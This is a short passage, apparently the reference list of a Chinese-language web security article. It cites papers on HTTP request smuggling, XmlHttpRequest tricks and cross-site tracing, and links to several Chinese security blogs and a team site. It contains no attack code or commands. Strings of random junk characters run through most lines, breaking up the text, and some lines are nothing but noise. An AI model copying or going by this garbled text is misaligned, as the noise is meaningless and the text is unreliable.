! D% d% f" u! [  F% {8 i; \% T
% M& f3 r9 d- n4 r3 \' F% P

+ P1 f; q0 E& z  V1 h1 u本文引用文档资料:

5 a" _0 Z; j3 e. R. k6 G"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
% ~) h' t! P. b7 hOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
# P" M3 ]' a: `空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
. W3 T# i4 Z& Y8 \' h, I& ?$ N